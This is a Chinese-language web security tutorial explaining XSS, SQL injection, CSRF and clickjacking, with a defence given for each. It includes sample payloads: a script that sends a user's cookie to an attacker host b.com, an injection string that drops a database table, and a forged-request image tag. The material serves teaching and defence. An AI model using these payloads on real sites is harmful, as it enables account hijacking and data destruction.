對(duì)于一個(gè)Web應(yīng)用來(lái)說(shuō)，可能會(huì)面臨很多不同的攻擊。下面的內(nèi)容將介紹一些常見(jiàn)的攻擊方法，以及面對(duì)這些攻擊的防御手段。
一、跨站腳本攻擊（XSS）
跨站腳本攻擊的英文全稱(chēng)是Cross Site Script，為了和樣式表區(qū)分，縮寫(xiě)為XSS。發(fā)生的原因是網(wǎng)站將用戶(hù)輸入的內(nèi)容輸出到頁(yè)面上，在這個(gè)過(guò)程中可能有惡意代碼被瀏覽器執(zhí)行。
跨站腳本攻擊可以分為兩種：
1). 反射型XSS
它是通過(guò)誘使用戶(hù)打開(kāi)一個(gè)惡意鏈接，服務(wù)端將鏈接中參數(shù)的惡意代碼渲染到頁(yè)面中，再傳遞給用戶(hù)由瀏覽器執(zhí)行，從而達(dá)到攻擊的目的。如下面的鏈接：
http://a.com/a.jsp?name=xss<script>alert(1)</script>
a.jsp將頁(yè)面渲染成下面的html：
Hello xss<script>alert(1)</script>
這時(shí)瀏覽器將會(huì)彈出提示框。
2). 持久型XSS
持久型XSS將惡意代碼提交給服務(wù)器，并且存儲(chǔ)在服務(wù)器端，當(dāng)用戶(hù)訪問(wèn)相關(guān)內(nèi)容時(shí)再渲染到頁(yè)面中，以達(dá)到攻擊的目的，它的危害更大。
比如，攻擊者寫(xiě)了一篇帶惡意JS代碼的博客，文章發(fā)表后，所有訪問(wèn)該博客文章的用戶(hù)都會(huì)執(zhí)行這段惡意JS。
Cookie劫持
Cookie中一般保存了當(dāng)前用戶(hù)的登錄憑證，如果可以得到，往往意味著可直接進(jìn)入用戶(hù)帳戶(hù)，而Cookie劫持也是最常見(jiàn)的XSS攻擊。以上面提過(guò)的反射型XSS的例子來(lái)說(shuō)，可以像下面這樣操作：
首先誘使用戶(hù)打開(kāi)下面的鏈接：
http://a.com/a.jsp?name=xss<script src=http://b.com/b.js></script>
用戶(hù)打開(kāi)鏈接后，會(huì)加載b.js，并執(zhí)行b.js中的代碼。b.js中存儲(chǔ)了以下JS代碼：
var img = document.createElement("img"); img.src = "http://b.com/log?" + escape(document.cookie); document.body.appendChild(img);
上面的代碼會(huì)向b.com請(qǐng)求一張圖片，但實(shí)際上是將當(dāng)前頁(yè)面的cookie發(fā)到了b.com的服務(wù)器上。這樣就完成了竊取cookie的過(guò)程。
防御Cookie劫持的一個(gè)簡(jiǎn)單的方法是在Set-Cookie時(shí)加上HttpOnly標(biāo)識(shí)，瀏覽器禁止JavaScript訪問(wèn)帶HttpOnly屬性的Cookie。
XSS的防御
1). 輸入檢查
對(duì)輸入數(shù)據(jù)做檢查，比如用戶(hù)名只允許是字母和數(shù)字，郵箱必須是指定格式。一定要在后臺(tái)做檢查，否則數(shù)據(jù)可能繞過(guò)前端檢查直接發(fā)給服務(wù)器。一般前后端都做檢查，這樣前端可以擋掉大部分無(wú)效數(shù)據(jù)。
對(duì)特殊字符做編碼或過(guò)濾，但因?yàn)椴恢垒敵鰰r(shí)的語(yǔ)境，所以可能會(huì)做不適當(dāng)?shù)倪^(guò)濾，最好是在輸出時(shí)具體情況具體處理。
2). 輸出檢查
對(duì)渲染到HTML中內(nèi)容執(zhí)行HtmlEncode，對(duì)渲染到JavaScript中的內(nèi)容執(zhí)行JavascriptEncode。
另外還可以使用一些做XSS檢查的開(kāi)源項(xiàng)目。
二、SQL注入
SQL注入常常會(huì)聽(tīng)到，它與XSS類(lèi)似，是由于用戶(hù)提交的數(shù)據(jù)被當(dāng)成命令來(lái)執(zhí)行而造成的。下面是一個(gè)SQL注入的例子：
String sql = "select * from user where username = '" + username + "'";
像上面的SQL語(yǔ)句，如果用戶(hù)提交的username參數(shù)是leo，則數(shù)據(jù)庫(kù)執(zhí)行的SQL為：
select * from user where username = 'leo'
但如果用戶(hù)提交的username參數(shù)是leo’; drop table user–，那執(zhí)行的SQL為：
select * from user where username = 'leo'; drop table user--'
在查詢(xún)數(shù)據(jù)后，又執(zhí)行了一個(gè)刪除表的操作，這樣的后果非常嚴(yán)重。
SQL注入的防御
防止SQL注入最好的方法是使用預(yù)編譯語(yǔ)句，如下面所示：
String sql = "select * from user where username = ?"; PreparedStatement pstmt = conn.prepareStatement(sql); pstmt.setString(1, username); ResultSet results = pstmt.executeQuery();
不同語(yǔ)言的預(yù)編譯方法不同，但基本都可以處理。
如果遇到無(wú)法使用預(yù)編譯方法時(shí)，只能像防止XSS那樣對(duì)參數(shù)進(jìn)行檢查和編碼。
三、跨站請(qǐng)求偽造（CSRF）
跨站請(qǐng)求偽造的英文全稱(chēng)是Cross Site Request Forgery，是由于操作所需的所有參數(shù)都能被攻擊者得到，進(jìn)而構(gòu)造出一個(gè)偽造的請(qǐng)求，在用戶(hù)不知情的情況下被執(zhí)行。看下面一個(gè)例子：
如果a.com網(wǎng)站需要用戶(hù)登錄后可以刪除博客，刪除博客的請(qǐng)求地址如下：
GET http://a.com/blog/delete?id=1
當(dāng)用戶(hù)登錄a.com后，又打開(kāi)了http://b.com/b.html，其中有下面的內(nèi)容：
<img src="http://a.com/blog/delete?id=1"/>
這時(shí)會(huì)以用戶(hù)在a.com的身份發(fā)送http://a.com/blog/delete?id=1，刪除那篇博客。
CSRF的防御
- 驗(yàn)證碼
CSRF是在用戶(hù)不知情的情況下構(gòu)造的網(wǎng)絡(luò)情況，驗(yàn)證碼則強(qiáng)制用戶(hù)與應(yīng)用交互，所以驗(yàn)證碼可以很好得防止CSRF。但不能什么請(qǐng)求都加驗(yàn)證碼。
- referer檢查
檢查請(qǐng)求header中的referer也能幫助防止CSRF攻擊，但服務(wù)器不是總能拿到referer，瀏覽器可能出于安全或隱私而不發(fā)送referer，所以也不常用。倒是圖片防盜鏈中用得很多。
- Anti CSRF Token
更多的是生成一個(gè)隨機(jī)的token，在用戶(hù)提交數(shù)據(jù)的同時(shí)提交這個(gè)token，服務(wù)器端比對(duì)后如果不正確，則拒絕執(zhí)行操作。
四、點(diǎn)擊劫持（ClickJacking）
點(diǎn)擊劫持是從視覺(jué)上欺騙用戶(hù)。攻擊者使用一個(gè)透明的iframe覆蓋在一個(gè)網(wǎng)頁(yè)上，誘使用戶(hù)在該網(wǎng)頁(yè)上操作，而實(shí)際點(diǎn)擊卻是點(diǎn)在透明的iframe頁(yè)面。
點(diǎn)擊劫持延伸出了很多攻擊方式，有圖片覆蓋攻擊、拖拽劫持等。
點(diǎn)擊劫持的防御
針對(duì)iframe的攻擊，可使用一個(gè)HTTP頭：X-Frame-Options，它有三種可選值：
- DENY： 禁止任何頁(yè)面的frame加載；
- SAMEORIGIN：只有同源頁(yè)面的frame可加載；
- ALLOW-FROM：可定義允許frame加載的頁(yè)面地址。
針對(duì)圖片覆蓋攻擊，則注意使用預(yù)防XSS的方法，防止HTML和JS注入。